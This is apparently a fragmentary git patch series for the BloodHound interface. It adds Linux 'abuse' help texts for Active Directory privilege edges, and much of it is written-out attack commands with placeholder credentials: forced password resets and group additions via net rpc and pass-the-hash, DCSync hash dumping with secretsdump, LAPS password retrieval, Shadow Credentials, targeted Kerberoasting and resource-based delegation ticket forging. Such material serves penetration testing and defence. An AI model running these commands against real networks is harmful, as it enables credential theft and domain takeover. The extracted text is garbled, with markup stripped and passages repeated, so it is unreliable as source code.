From df905d2afdb108e316bf9b82b053916560e414b6 Mon Sep 17 00:00:00 2001
From: lbrauns To abuse this privilege, use
+
+ pyWhisker
+
+ .
+ For other optional parameters, view the pyWhisker documentation.
+ To abuse this privilege, use Whisker.
- For other optional parameters, view the Whisper documentation.
+ For other optional parameters, view the Whisker documentation.
+ Use samba's net tool to add the user to the target group. The credentials can be supplied in cleartext
+ or prompted interactively if omitted from the command line:
+
+ Pass-the-hash can also be done here with
+
+ pth-toolkit's net tool
+ . If the LM hash is not known it must be replace with
+ Finally, verify that the user was successfully added to the group:
+
@@ -66,9 +66,9 @@ const Abuse = ({ sourceName, sourceType }) => {
);
};
-Abuse.propTypes= {
+WindowsAbuse.propTypes= {
sourceName: PropTypes.string,
sourceType: PropTypes.string
}
-export default Abuse;
+export default WindowsAbuse;
From b0568533887b4cecdd45e178b31ab7aa5618e60a Mon Sep 17 00:00:00 2001
From: Shutdown To abuse this privilege, use
-
- pyWhisker
-
- . To abuse this privilege, use pyWhisker.
- Pass-the-hash can also be done here with
-
- pth-toolkit's net tool
- . If the LM hash is not known it must be replace with
+ Use samba's net tool to add the user to the target group. The credentials can be supplied in cleartext
+ or prompted interactively if omitted from the command line:
+
+ Pass-the-hash can also be done here with pth-toolkit's net tool.
+ If the LM hash is not known it must be replace with
+ Finally, verify that the user was successfully added to the group:
+
@@ -66,9 +66,9 @@ const Abuse = ({ sourceName, sourceType }) => {
);
};
-Abuse.propTypes = {
+WindowsAbuse.propTypes = {
sourceName: PropTypes.string,
sourceType: PropTypes.string,
};
-export default Abuse;
+export default WindowsAbuse;
From a45e6d717d5b80ff756b9f945a5bbefdb1cfcf04 Mon Sep 17 00:00:00 2001
From: Shutdown
+ The AllExtendedRights privilege grants {sourceName} the
+ ability to change the password of the user {targetName}{' '}
+ without knowing their current password. This is
+ equivalent to the "ForceChangePassword" edge in
+ BloodHound.
+
+ Use samba's net tool to change the user's password. The credentials can be supplied in cleartext
+ or prompted interactively if omitted from the command line. The new password will be prompted
+ if omitted from the command line.
+
+ Pass-the-hash can also be done here with pth-toolkit's net tool.
+ If the LM hash is not known it must be replace with
+ The AllExtendedRights privilege grants {sourceName} the
+ ability to obtain the RID 500 administrator password of{' '}
+ {targetName}. {sourceName} can do so by listing a
+ computer object's AD properties with PowerView using
+ Get-DomainComputer {targetName}. The value of the
+ ms-mcs-AdmPwd property will contain password of the
+ administrative local account on {targetName}.
+
+ LAPSDumper can be used
+ to retrieve LAPS passwords:
+
+ This ACE is not exploitable under current conditions.
+ Please report this bug to the BloodHound developers
+
+ The AllExtendedRights privilege grants {sourceName} both the
+ DS-Replication-Get-Changes and
+ DS-Replication-Get-Changes-All privileges, which combined
+ allow a principal to replicate objects from the domain{' '}
+ {targetName}.
+
+ This can be abused using Impacket's secretsdump.py example script:
+
+ The AllExtendedRights privilege also grants {sourceName} enough{' '}
+ privileges, to retrieve LAPS passwords domain-wise.
+
+ LAPSDumper can be used
+ for that purpose:
+
@@ -38,8 +38,8 @@ const Abuse = ({ sourceName }) => {
);
};
-Abuse.propTypes = {
+WindowsAbuse.propTypes = {
sourceName: PropTypes.string,
};
-export default Abuse;
+export default WindowsAbuse;
From 920c0e0c0b0ceef8dd5bb63af332675aec2c0231 Mon Sep 17 00:00:00 2001
From: Shutdown
+ In the following example, *victim* is the attacker-controlled
+ account (i.e. the hash is known) that is configured for
+ constrained delegation. That is, *victim* has the
+ "HTTP/PRIMARY.testlab.local" service principal name (SPN) set in
+ its msds-AllowedToDelegateTo property. The command first
+ requests a TGT for the *victim* user and executes the
+ S4U2self/S4U2proxy process to impersonate the "admin" user to
+ the "HTTP/PRIMARY.testlab.local" SPN. The alternative sname
+ "cifs" is substituted in to the final service ticket. This grants
+ the attacker the ability to access the file system of
+ PRIMARY.testlab.local as the "admin" user.
+
@@ -35,4 +35,4 @@ const Abuse = () => {
);
};
-export default Abuse;
+export default WindowsAbuse;
From aac965badd1abe3b21d2df480e6696fbad17a9d4 Mon Sep 17 00:00:00 2001
From: Shutdown
+ You may perform a dcsync attack to get the password hash of an
+ arbitrary principal using impacket's secretsdump.py example script:
+
+ You can also perform the more complicated ExtraSids attack to
+ hop domain trusts. For information on this see the blog post by
+ harmj0y in the references tab.
+
@@ -23,4 +23,4 @@ const Abuse = () => {
);
};
-export default Abuse;
+export default WindowsAbuse;
From b7f2d709e66f402decc4c0f05960c21f1e087ab5 Mon Sep 17 00:00:00 2001
From: Shutdown
+ Use samba's net tool to change the user's password. The credentials can be supplied in cleartext
+ or prompted interactively if omitted from the command line. The new password will be prompted
+ if omitted from the command line.
+
+ Pass-the-hash can also be done here with pth-toolkit's net tool.
+ If the LM hash is not known it must be replace with
+ Now that you know the target user's plain text password, you can
+ either start a new agent as that user, or use that user's
+ credentials in conjunction with PowerView's ACL abuse functions,
+ or perhaps even RDP to a system the target user has access to.
+ For more ideas and information, see the references tab.
+
@@ -69,9 +69,9 @@ const Abuse = ({ sourceName, sourceType }) => {
);
};
-Abuse.propTypes = {
+WindowsAbuse.propTypes = {
sourceName: PropTypes.string,
sourceType: PropTypes.string,
};
-export default Abuse;
+export default WindowsAbuse;
From 810603ea3949dca7a25e055cf495ff55958bf7ec Mon Sep 17 00:00:00 2001
From: Shutdown
+ Full control of a group allows you to directly modify
+ group membership of the group.
+
+ Use samba's net tool to add the user to the target group. The credentials can be supplied in cleartext
+ or prompted interactively if omitted from the command line:
+
+ Pass-the-hash can also be done here with pth-toolkit's net tool.
+ If the LM hash is not known it must be replace with
+ Finally, verify that the user was successfully added to the group:
+
+ Full control of a user allows you to modify properties
+ of the user to perform a targeted kerberoast attack, and
+ also grants the ability to reset the password of the
+ user without knowing their current one.
+
+ A targeted kerberoast attack can be performed using{' '}
+ targetedKerberoast.py.
+
+ The tool will automatically attempt a targetedKerberoast
+ attack, either on all users or against a specific one if
+ specified in the command line, and then obtain a crackable hash.
+ The cleanup is done automatically as well.
+
+ The recovered hash can be cracked offline using the tool
+ of your choice.
+
+ Use samba's net tool to change the user's password. The credentials can be supplied in cleartext
+ or prompted interactively if omitted from the command line. The new password will be prompted
+ if omitted from the command line.
+
+ Pass-the-hash can also be done here with pth-toolkit's net tool.
+ If the LM hash is not known it must be replace with
+ Now that you know the target user's plain text password, you can
+ either start a new agent as that user, or use that user's
+ credentials in conjunction with PowerView's ACL abuse functions,
+ or perhaps even RDP to a system the target user has access to.
+ For more ideas and information, see the references tab.
+ To abuse this privilege, use pyWhisker.
+ For other optional parameters, view the pyWhisker documentation.
+
+ Full control of a computer object is abusable when
+ the computer's local admin account credential is
+ controlled with LAPS. The clear-text password for
+ the local administrator account is stored in an
+ extended attribute on the computer object called
+ ms-Mcs-AdmPwd. With full control of the computer
+ object, you may have the ability to read this
+ attribute, or grant yourself the ability to read the
+ attribute by modifying the computer object's
+ security descriptor.
+
+ LAPSDumper can be used
+ to retrieve LAPS passwords:
+
+ First, if an attacker does not control an account with an
+ SPN set, a new attacker-controlled computer account can be
+ added with Impacket's addcomputer.py example script:
+
+ We can then get a service ticket for the service name (sname) we
+ want to "pretend" to be "admin" for. Impacket's getST.py example script
+ can be used for that purpose.
+
+ This ticket can then be used with Pass-the-Ticket, and could grant access
+ to the file system of the TARGETCOMPUTER.
+ To abuse this privilege, use pyWhisker.
+ For other optional parameters, view the pyWhisker documentation.
+
+ First, if an attacker does not control an account with an
+ SPN set, a new attacker-controlled computer account can be
+ added with Impacket's addcomputer.py example script:
+
+ We can then get a service ticket for the service name (sname) we
+ want to "pretend" to be "admin" for. Impacket's getST.py example script
+ can be used for that purpose.
+
+ This ticket can then be used with Pass-the-Ticket, and could grant access
+ to the file system of the TARGETCOMPUTER.
+ To abuse this privilege, use pyWhisker.
+ For other optional parameters, view the pyWhisker documentation.
+
+ The AllExtendedRights privilege grants {sourceName} both the
+ DS-Replication-Get-Changes and
+ DS-Replication-Get-Changes-All privileges, which combined
+ allow a principal to replicate objects from the domain{' '}
+ {targetName}.
+
+ This can be abused using Impacket's secretsdump.py example script:
+
+ The AllExtendedRights privilege also grants {sourceName} enough{' '}
+ privileges, to retrieve LAPS passwords domain-wise.
+
+ LAPSDumper can be used
+ for that purpose:
+
+ With full control of a GPO, you may make modifications
+ to that GPO which will then apply to the users and
+ computers affected by the GPO. Select the target object
+ you wish to push an evil policy down to, then use the
+ gpedit GUI to modify the GPO, using an evil policy that
+ allows item-level targeting, such as a new immediate
+ scheduled task. Then wait at least 2 hours for the group
+ policy client to pick up and execute the new evil
+ policy. See the references tab for a more detailed write
+ up on this abuse`;
+
+ pyGPOAbuse.py can be used for that purpose.
+
+ With full control of the OU, you may add a new ACE on
+ the OU that will inherit down to the objects under that
+ OU. Below are two options depending on how targeted you
+ choose to be in this step:
+
+ The simplest and most straight forward way to abuse
+ control of the OU is to apply a GenericAll ACE on the OU
+ that will inherit down to all object types. This
+ can be done using Impacket's dacledit (cf. "grant rights"
+ reference for the link).
+
+ Now, the "JKOHLER" user will have full control of all
+ descendent objects of each type.
+
+ If you want to be more targeted with your approach, it
+ is possible to specify precisely what right you want to
+ apply to precisely which kinds of descendent objects.
+ Refer to the Windows Abuse info for this.
+
+ With full control of the OU, you may add a new ACE on
+ the OU that will inherit down to the objects under that
+ OU. Below are two options depending on how targeted you
+ choose to be in this step:
+
+ The simplest and most straight forward way to abuse
+ control of the OU is to apply a GenericAll ACE on the OU
+ that will inherit down to all object types. This
+ can be done using Impacket's dacledit (cf. "grant rights"
+ reference for the link).
+
+ Now, the "JKOHLER" user will have full control of all
+ descendent objects of each type.
+
+ If you want to be more targeted with your approach, it
+ is possible to specify precisely what right you want to
+ apply to precisely which kinds of descendent objects.
+ Refer to the Windows Abuse info for this.
+
+ With full control of the container, you may add a new ACE on
+ the container that will inherit down to the objects under that
+ OU. Below are two options depending on how targeted you
+ choose to be in this step:
+
+ The simplest and most straight forward way to abuse
+ control of the OU is to apply a GenericAll ACE on the OU
+ that will inherit down to all object types. This
+ can be done using Impacket's dacledit (cf. "grant rights"
+ reference for the link).
+
+ Now, the "JKOHLER" user will have full control of all
+ descendent objects of each type.
+
+ If you want to be more targeted with your approach, it
+ is possible to specify precisely what right you want to
+ apply to precisely which kinds of descendent objects.
+ Refer to the Windows Abuse info for this.
+
The AllExtendedRights privilege grants {sourceName} both the
DS-Replication-Get-Changes and
@@ -100,6 +102,8 @@ const LinuxAbuse = ({ sourceName, sourceType, targetName, targetType, haslaps })
+
The AllExtendedRights privilege also grants {sourceName} enough{' '}
privileges, to retrieve LAPS passwords domain-wise.
From 34327bcb61d1d8ccbc8c5fb42059ae86cb5d3813 Mon Sep 17 00:00:00 2001
From: Shutdown
+ GenericWrite to a group allows you to directly modify
+ group membership of the group.
+
+ Use samba's net tool to add the user to the target group. The credentials can be supplied in cleartext
+ or prompted interactively if omitted from the command line:
+
+ Pass-the-hash can also be done here with pth-toolkit's net tool.
+ If the LM hash is not known it must be replace with
+ Finally, verify that the user was successfully added to the group:
+
+ A targeted kerberoast attack can be performed using{' '}
+ targetedKerberoast.py.
+
+ The tool will automatically attempt a targetedKerberoast
+ attack, either on all users or against a specific one if
+ specified in the command line, and then obtain a crackable hash.
+ The cleanup is done automatically as well.
+
+ The recovered hash can be cracked offline using the tool
+ of your choice.
+ To abuse this privilege, use pyWhisker.
+ For other optional parameters, view the pyWhisker documentation.
+
+ First, if an attacker does not control an account with an
+ SPN set, a new attacker-controlled computer account can be
+ added with Impacket's addcomputer.py example script:
+
+ We can then get a service ticket for the service name (sname) we
+ want to "pretend" to be "admin" for. Impacket's getST.py example script
+ can be used for that purpose.
+
+ This ticket can then be used with Pass-the-Ticket, and could grant access
+ to the file system of the TARGETCOMPUTER.
+ To abuse this privilege, use pyWhisker.
+ For other optional parameters, view the pyWhisker documentation.
+
+ With GenericWrite over a GPO, you may make modifications
+ to that GPO which will then apply to the users and
+ computers affected by the GPO. Select the target object
+ you wish to push an evil policy down to, then use the
+ gpedit GUI to modify the GPO, using an evil policy that
+ allows item-level targeting, such as a new immediate
+ scheduled task. Then wait at least 2 hours for the group
+ policy client to pick up and execute the new evil
+ policy. See the references tab for a more detailed write
+ up on this abuse`;
+
+ pyGPOAbuse.py can be used for that purpose.
+
+
+ We now need to configure the target object so that the attacker-controlled
+ computer can delegate to it. Impacket's rbcd.py script can be used for that
+ purpose:
+
+ {
+ "addcomputer.py -method LDAPS -computer-name 'ATTACKERSYSTEM$' -computer-pass 'Summer2018!' -dc-host $DomainController -domain-netbios $DOMAIN 'domain/user:password'"
+ }
+
+
+
+ And finally we can get a service ticket for the service name (sname) we
+ want to "pretend" to be "admin" for. Impacket's getST.py example script
+ can be used for that purpose.
+
+ {
+ "rbcd.py -delegate-from 'ATTACKERSYSTEM$' -delegate-to 'TargetComputer' -action 'write' 'domain/user:password'"
+ }
+
+
+
+ This ticket can then be used with Pass-the-Ticket, and could grant access
+ to the file system of the TARGETCOMPUTER.
+ >
+ );
+};
+
+export default LinuxAbuse;
diff --git a/src/components/Modals/HelpTexts/AddAllowedToAct/Abuse.jsx b/src/components/Modals/HelpTexts/AddAllowedToAct/WindowsAbuse.jsx
similarity index 98%
rename from src/components/Modals/HelpTexts/AddAllowedToAct/Abuse.jsx
rename to src/components/Modals/HelpTexts/AddAllowedToAct/WindowsAbuse.jsx
index 457a02870..35951ce45 100644
--- a/src/components/Modals/HelpTexts/AddAllowedToAct/Abuse.jsx
+++ b/src/components/Modals/HelpTexts/AddAllowedToAct/WindowsAbuse.jsx
@@ -1,6 +1,6 @@
import React from 'react';
-const Abuse = () => {
+const WindowsAbuse = () => {
return (
<>
Abusing this primitive is currently only possible through the Rubeus
@@ -62,4 +62,4 @@ const Abuse = () => {
);
};
-export default Abuse;
+export default WindowsAbuse;
From b88e29c1aad9b5fa6650ce1cb28a20955f425dfb Mon Sep 17 00:00:00 2001
From: Shutdown
+ {
+ "getST.py -spn 'cifs/targetcomputer.testlab.local' -impersonate 'admin' 'domain/attackersystem$:Summer2018!'"
+ }
+
+
+
+ https://www.thehacker.recipes/ad/movement/kerberos/delegations/rbcd
+
+
+
+ https://www.thehacker.recipes/ad/movement/domain-settings/machineaccountquota
+
>
);
};
From 8f1584303be30083218695f9e263526da3afc265 Mon Sep 17 00:00:00 2001
From: Shutdown
+
+
+ {'pywhisker.py -d "domain.local" -u "controlledAccount" -p "somepassword" --target "targetAccount" --action "add"'}
+
+
+
+
+ {
+ 'net rpc group addmem "TargetGroup" "TargetUser" -U "DOMAIN"/"ControlledUser"%"Password" -S "DomainController"'
+ }
+
+ ffffffffffffffffffffffffffffffff
.
+
+
+
+
+ {
+ 'pth-net rpc group addmem "TargetGroup" "TargetUser" -U "DOMAIN"/"ControlledUser"%"LMhash":"NThash" -S "DomainController"'
+ }
+
+
+
+ >
+ );
+};
+
+LinuxAbuse.propTypes= {
+ sourceName: PropTypes.string,
+ sourceType: PropTypes.string
+}
+
+export default LinuxAbuse;
diff --git a/src/components/Modals/HelpTexts/AddMember/References.jsx b/src/components/Modals/HelpTexts/AddMember/References.jsx
index 49fd24921..1134cb825 100644
--- a/src/components/Modals/HelpTexts/AddMember/References.jsx
+++ b/src/components/Modals/HelpTexts/AddMember/References.jsx
@@ -14,6 +14,10 @@ const References = () => {
https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4728
+
+ {
+ 'net rpc group members "TargetGroup" -U "DOMAIN"/"ControlledUser"%"Password" -S "DomainController"'
+ }
+
+
+
+ https://www.thehacker.recipes/ad/movement/dacl/addmember
+
>
);
};
diff --git a/src/components/Modals/HelpTexts/AddMember/Abuse.jsx b/src/components/Modals/HelpTexts/AddMember/WindowsAbuse.jsx
similarity index 96%
rename from src/components/Modals/HelpTexts/AddMember/Abuse.jsx
rename to src/components/Modals/HelpTexts/AddMember/WindowsAbuse.jsx
index d67657fc8..6c03bcc87 100644
--- a/src/components/Modals/HelpTexts/AddMember/Abuse.jsx
+++ b/src/components/Modals/HelpTexts/AddMember/WindowsAbuse.jsx
@@ -1,7 +1,7 @@
import React from 'react';
import PropTypes from "prop-types";
-const Abuse = ({ sourceName, sourceType }) => {
+const WindowsAbuse = ({ sourceName, sourceType }) => {
return (
<>
{'pywhisker.py -d "domain.local" -u "controlledAccount" -p "somepassword" --target "targetAccount" --action "add"'}
diff --git a/src/components/Modals/HelpTexts/AddMember/LinuxAbuse.jsx b/src/components/Modals/HelpTexts/AddMember/LinuxAbuse.jsx
index 0b8348dee..cb69fd29f 100644
--- a/src/components/Modals/HelpTexts/AddMember/LinuxAbuse.jsx
+++ b/src/components/Modals/HelpTexts/AddMember/LinuxAbuse.jsx
@@ -18,10 +18,8 @@ const LinuxAbuse = ({ sourceName, sourceType }) => {
ffffffffffffffffffffffffffffffff
.
+ Pass-the-hash can also be done here with pth-toolkit's net tool.
+ If the LM hash is not known it must be replace with ffffffffffffffffffffffffffffffff
.
From b73c2b31bcf6b86eb3b7069571c4566da87f191a Mon Sep 17 00:00:00 2001
From: Shutdown
+
+
+
+ {
+ 'net rpc group addmem "TargetGroup" "TargetUser" -U "DOMAIN"/"ControlledUser"%"Password" -S "DomainController"'
+ }
+
+ ffffffffffffffffffffffffffffffff
.
+
+
+
+
+ {
+ 'pth-net rpc group addmem "TargetGroup" "TargetUser" -U "DOMAIN"/"ControlledUser"%"LMhash":"NThash" -S "DomainController"'
+ }
+
+
+
+ >
+ );
+};
+
+LinuxAbuse.propTypes= {
+ sourceName: PropTypes.string,
+ sourceType: PropTypes.string
+}
+
+export default LinuxAbuse;
diff --git a/src/components/Modals/HelpTexts/AddSelf/References.jsx b/src/components/Modals/HelpTexts/AddSelf/References.jsx
index 49fd24921..000345dd8 100644
--- a/src/components/Modals/HelpTexts/AddSelf/References.jsx
+++ b/src/components/Modals/HelpTexts/AddSelf/References.jsx
@@ -14,6 +14,14 @@ const References = () => {
https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4728
+
+ {
+ 'net rpc group members "TargetGroup" -U "DOMAIN"/"ControlledUser"%"Password" -S "DomainController"'
+ }
+
+
+
+ https://www.thehacker.recipes/ad/movement/dacl/addmember
+
+
+
+ https://www.thehacker.recipes/ad/movement/dacl#bloodhound-edges
+
>
);
};
diff --git a/src/components/Modals/HelpTexts/AddSelf/Abuse.jsx b/src/components/Modals/HelpTexts/AddSelf/WindowsAbuse.jsx
similarity index 96%
rename from src/components/Modals/HelpTexts/AddSelf/Abuse.jsx
rename to src/components/Modals/HelpTexts/AddSelf/WindowsAbuse.jsx
index 5256d5ff0..0321e81b6 100644
--- a/src/components/Modals/HelpTexts/AddSelf/Abuse.jsx
+++ b/src/components/Modals/HelpTexts/AddSelf/WindowsAbuse.jsx
@@ -1,7 +1,7 @@
import React from 'react';
import PropTypes from 'prop-types';
-const Abuse = ({ sourceName, sourceType }) => {
+const WindowsAbuse = ({ sourceName, sourceType }) => {
return (
<>
+
+
+
+ {
+ 'net rpc password "TargetUser" "newP@ssword2022" -U "DOMAIN"/"ControlledUser"%"Password" -S "DomainController"'
+ }
+
+ ffffffffffffffffffffffffffffffff
.
+
+
+ >
+ );
+ case 'Computer':
+ if (haslaps)
+ return (
+ <>
+
+ {
+ 'pth-net rpc password "TargetUser" "newP@ssword2022" -U "DOMAIN"/"ControlledUser"%"LMhash":"NThash" -S "DomainController"'
+ }
+
+
+
+ >
+ );
+ else
+ return (
+
+ {
+ 'laps.py --action get -d "DOMAIN" -u "ControlledUser" -p "ItsPassword"'
+ }
+
+
+
+
+
+ {
+ "secretsdump 'DOMAIN'/'USER':'PASSWORD'@'DOMAINCONTROLLER'"
+ }
+
+
+
+ >
+ );
+ }
+};
+
+LinuxAbuse.propTypes = {
+ sourceName: PropTypes.string,
+ sourceType: PropTypes.string,
+ targetName: PropTypes.string,
+ targetType: PropTypes.string,
+ haslaps: PropTypes.bool
+}
+
+export default LinuxAbuse;
diff --git a/src/components/Modals/HelpTexts/AllExtendedRights/References.jsx b/src/components/Modals/HelpTexts/AllExtendedRights/References.jsx
index 55d10585d..e2f2159f1 100644
--- a/src/components/Modals/HelpTexts/AllExtendedRights/References.jsx
+++ b/src/components/Modals/HelpTexts/AllExtendedRights/References.jsx
@@ -10,6 +10,22 @@ const References = () => {
https://www.youtube.com/watch?v=z8thoG7gPd0
+
+ {
+ 'laps.py --action get -d "DOMAIN" -u "ControlledUser" -p "ItsPassword"'
+ }
+
+
+
+ https://www.youtube.com/watch?v=z8thoG7gPd0
+
+
+
+ https://www.thehacker.recipes/ad/movement/dacl/forcechangepassword
+
+
+
+ https://www.thehacker.recipes/ad/movement/dacl/readlapspassword
+
+
+
+ https://www.thehacker.recipes/ad/movement/credentials/dumping/dcsync
+
>
);
};
diff --git a/src/components/Modals/HelpTexts/AllExtendedRights/Abuse.jsx b/src/components/Modals/HelpTexts/AllExtendedRights/WindowsAbuse.jsx
similarity index 97%
rename from src/components/Modals/HelpTexts/AllExtendedRights/Abuse.jsx
rename to src/components/Modals/HelpTexts/AllExtendedRights/WindowsAbuse.jsx
index 00b598c49..fd6edf4c3 100644
--- a/src/components/Modals/HelpTexts/AllExtendedRights/Abuse.jsx
+++ b/src/components/Modals/HelpTexts/AllExtendedRights/WindowsAbuse.jsx
@@ -1,7 +1,7 @@
import React from 'react';
import PropTypes from 'prop-types';
-const Abuse = ({ sourceName, sourceType, targetName, targetType, haslaps }) => {
+const WindowsAbuse = ({ sourceName, sourceType, targetName, targetType, haslaps }) => {
switch (targetType) {
case 'User':
return (
@@ -122,7 +122,7 @@ const Abuse = ({ sourceName, sourceType, targetName, targetType, haslaps }) => {
}
};
-Abuse.propTypes = {
+WindowsAbuse.propTypes = {
sourceName: PropTypes.string,
sourceType: PropTypes.string,
targetName: PropTypes.string,
@@ -130,4 +130,4 @@ Abuse.propTypes = {
haslaps: PropTypes.bool
}
-export default Abuse;
+export default WindowsAbuse;
From 8c6b1e5d2269b423747589d4c64a7ca054a2b278 Mon Sep 17 00:00:00 2001
From: Shutdown
+
+ We can then get a service ticket for the service name (sname) we
+ want to "pretend" to be "admin" for. Impacket's getST.py example script
+ can be used for that purpose.
+
+ {
+ "addcomputer.py -method LDAPS -computer-name 'ATTACKERSYSTEM$' -computer-pass 'Summer2018!' -dc-host $DomainController -domain-netbios $DOMAIN 'domain/user:password'"
+ }
+
+
+
+ This ticket can then be used with Pass-the-Ticket, and could grant access
+ to the file system of the TARGETCOMPUTER.
+ >
+ );
+};
+
+LinuxAbuse.propTypes = {
+ sourceName: PropTypes.string,
+};
+
+export default LinuxAbuse;
diff --git a/src/components/Modals/HelpTexts/AllowedToAct/References.jsx b/src/components/Modals/HelpTexts/AllowedToAct/References.jsx
index fd36e6918..e839d9ec7 100644
--- a/src/components/Modals/HelpTexts/AllowedToAct/References.jsx
+++ b/src/components/Modals/HelpTexts/AllowedToAct/References.jsx
@@ -26,6 +26,14 @@ const References = () => {
https://github.com/Kevin-Robertson/Powermad#new-machineaccount
+
+ {
+ "getST.py -spn 'cifs/targetcomputer.testlab.local' -impersonate 'admin' 'domain/attackersystem$:Summer2018!'"
+ }
+
+
+
+ https://www.thehacker.recipes/ad/movement/kerberos/delegations/rbcd
+
+
+
+ https://www.thehacker.recipes/ad/movement/domain-settings/machineaccountquota
+
>
);
};
diff --git a/src/components/Modals/HelpTexts/AllowedToAct/Abuse.jsx b/src/components/Modals/HelpTexts/AllowedToAct/WindowsAbuse.jsx
similarity index 93%
rename from src/components/Modals/HelpTexts/AllowedToAct/Abuse.jsx
rename to src/components/Modals/HelpTexts/AllowedToAct/WindowsAbuse.jsx
index b0e9270f9..883e9a97d 100644
--- a/src/components/Modals/HelpTexts/AllowedToAct/Abuse.jsx
+++ b/src/components/Modals/HelpTexts/AllowedToAct/WindowsAbuse.jsx
@@ -1,7 +1,7 @@
import React from 'react';
import PropTypes from 'prop-types';
-const Abuse = ({ sourceName }) => {
+const WindowsAbuse = ({ sourceName }) => {
return (
<>
+
+ >
+ );
+};
+
+export default LinuxAbuse;
diff --git a/src/components/Modals/HelpTexts/AllowedToDelegate/References.jsx b/src/components/Modals/HelpTexts/AllowedToDelegate/References.jsx
index 924f7a56e..1145c5905 100644
--- a/src/components/Modals/HelpTexts/AllowedToDelegate/References.jsx
+++ b/src/components/Modals/HelpTexts/AllowedToDelegate/References.jsx
@@ -30,6 +30,9 @@ const References = () => {
https://blog.harmj0y.net/redteaming/another-word-on-delegation/
+
+ https://www.thehacker.recipes/ad/movement/kerberos/delegations/constrained
+
>
);
};
diff --git a/src/components/Modals/HelpTexts/AllowedToDelegate/Abuse.jsx b/src/components/Modals/HelpTexts/AllowedToDelegate/WindowsAbuse.jsx
similarity index 96%
rename from src/components/Modals/HelpTexts/AllowedToDelegate/Abuse.jsx
rename to src/components/Modals/HelpTexts/AllowedToDelegate/WindowsAbuse.jsx
index 81e383115..7fb502b3f 100644
--- a/src/components/Modals/HelpTexts/AllowedToDelegate/Abuse.jsx
+++ b/src/components/Modals/HelpTexts/AllowedToDelegate/WindowsAbuse.jsx
@@ -1,6 +1,6 @@
import React from 'react';
-const Abuse = () => {
+const WindowsAbuse = () => {
return (
<>
+ {
+ "getST.py -spn 'HTTP/PRIMARY.testlab.local' -impersonate 'admin' -altservice 'cifs' -hashes :2b576acbe6bcfda7294d6bd18041b8fe 'domain/victim'"
+ }
+
+
+
+
+
+ {
+ "secretsdump 'testlab.local'/'Administrator':'Password'@'DOMAINCONTROLLER'"
+ }
+
+
+
+ https://www.thehacker.recipes/ad/movement/credentials/dumping/dcsync
+
>
);
};
diff --git a/src/components/Modals/HelpTexts/DCSync/Abuse.jsx b/src/components/Modals/HelpTexts/DCSync/WindowsAbuse.jsx
similarity index 92%
rename from src/components/Modals/HelpTexts/DCSync/Abuse.jsx
rename to src/components/Modals/HelpTexts/DCSync/WindowsAbuse.jsx
index 296a5a79a..eda3c16b0 100644
--- a/src/components/Modals/HelpTexts/DCSync/Abuse.jsx
+++ b/src/components/Modals/HelpTexts/DCSync/WindowsAbuse.jsx
@@ -1,6 +1,6 @@
import React from 'react';
-const Abuse = () => {
+const WindowsAbuse = () => {
return (
<>
+
+
+
+ {
+ 'net rpc password "TargetUser" "newP@ssword2022" -U "DOMAIN"/"ControlledUser"%"Password" -S "DomainController"'
+ }
+
+ ffffffffffffffffffffffffffffffff
.
+
+
+
+ {
+ 'pth-net rpc password "TargetUser" "newP@ssword2022" -U "DOMAIN"/"ControlledUser"%"LMhash":"NThash" -S "DomainController"'
+ }
+
+
+
+ https://www.thehacker.recipes/ad/movement/dacl/forcechangepassword
+
>
);
};
diff --git a/src/components/Modals/HelpTexts/ForceChangePassword/Abuse.jsx b/src/components/Modals/HelpTexts/ForceChangePassword/WindowsAbuse.jsx
similarity index 96%
rename from src/components/Modals/HelpTexts/ForceChangePassword/Abuse.jsx
rename to src/components/Modals/HelpTexts/ForceChangePassword/WindowsAbuse.jsx
index 11946e6de..0efd399e2 100644
--- a/src/components/Modals/HelpTexts/ForceChangePassword/Abuse.jsx
+++ b/src/components/Modals/HelpTexts/ForceChangePassword/WindowsAbuse.jsx
@@ -1,7 +1,7 @@
import React from 'react';
import PropTypes from 'prop-types';
-const Abuse = ({ sourceName, sourceType }) => {
+const WindowsAbuse = ({ sourceName, sourceType }) => {
return (
<>
+
+
+
+ {
+ 'net rpc group addmem "TargetGroup" "TargetUser" -U "DOMAIN"/"ControlledUser"%"Password" -S "DomainController"'
+ }
+
+ ffffffffffffffffffffffffffffffff
.
+
+
+
+
+ {
+ 'pth-net rpc group addmem "TargetGroup" "TargetUser" -U "DOMAIN"/"ControlledUser"%"LMhash":"NThash" -S "DomainController"'
+ }
+
+
+
+ >
+ );
+ case 'User':
+ return (
+ <>
+
+ {
+ 'net rpc group members "TargetGroup" -U "DOMAIN"/"ControlledUser"%"Password" -S "DomainController"'
+ }
+
+ Targeted Kerberoast
+
+
+
+
+
+ {
+ "targetedKerberoast.py -v -d 'domain.local' -u 'controlledUser' -p 'ItsPassword'"
+ }
+
+ Force Change Password
+
+
+
+
+
+ {
+ 'net rpc password "TargetUser" "newP@ssword2022" -U "DOMAIN"/"ControlledUser"%"Password" -S "DomainController"'
+ }
+
+ ffffffffffffffffffffffffffffffff
.
+
+
+
+ {
+ 'pth-net rpc password "TargetUser" "newP@ssword2022" -U "DOMAIN"/"ControlledUser"%"LMhash":"NThash" -S "DomainController"'
+ }
+
+ Shadow Credentials attack
+
+
+
+
+ {'pywhisker.py -d "domain.local" -u "controlledAccount" -p "somepassword" --target "targetAccount" --action "add"'}
+ Retrieve LAPS Password
+
+
+
+
+
+ {
+ 'laps.py --action get -d "DOMAIN" -u "ControlledUser" -p "ItsPassword"'
+ }
+
+ Resource-Based Constrained Delegation
+
+
+
+
+
+ {
+ "addcomputer.py -method LDAPS -computer-name 'ATTACKERSYSTEM$' -computer-pass 'Summer2018!' -dc-host $DomainController -domain-netbios $DOMAIN 'domain/user:password'"
+ }
+
+
+
+
+
+ {
+ "getST.py -spn 'cifs/targetcomputer.testlab.local' -impersonate 'admin' 'domain/attackersystem$:Summer2018!'"
+ }
+
+ Shadow Credentials attack
+
+
+
+
+ {'pywhisker.py -d "domain.local" -u "controlledAccount" -p "somepassword" --target "targetAccount" --action "add"'}
+ Resource-Based Constrained Delegation
+
+
+
+
+
+ {
+ "addcomputer.py -method LDAPS -computer-name 'ATTACKERSYSTEM$' -computer-pass 'Summer2018!' -dc-host $DomainController -domain-netbios $DOMAIN 'domain/user:password'"
+ }
+
+
+
+
+
+ {
+ "getST.py -spn 'cifs/targetcomputer.testlab.local' -impersonate 'admin' 'domain/attackersystem$:Summer2018!'"
+ }
+
+ Shadow Credentials attack
+
+
+
+
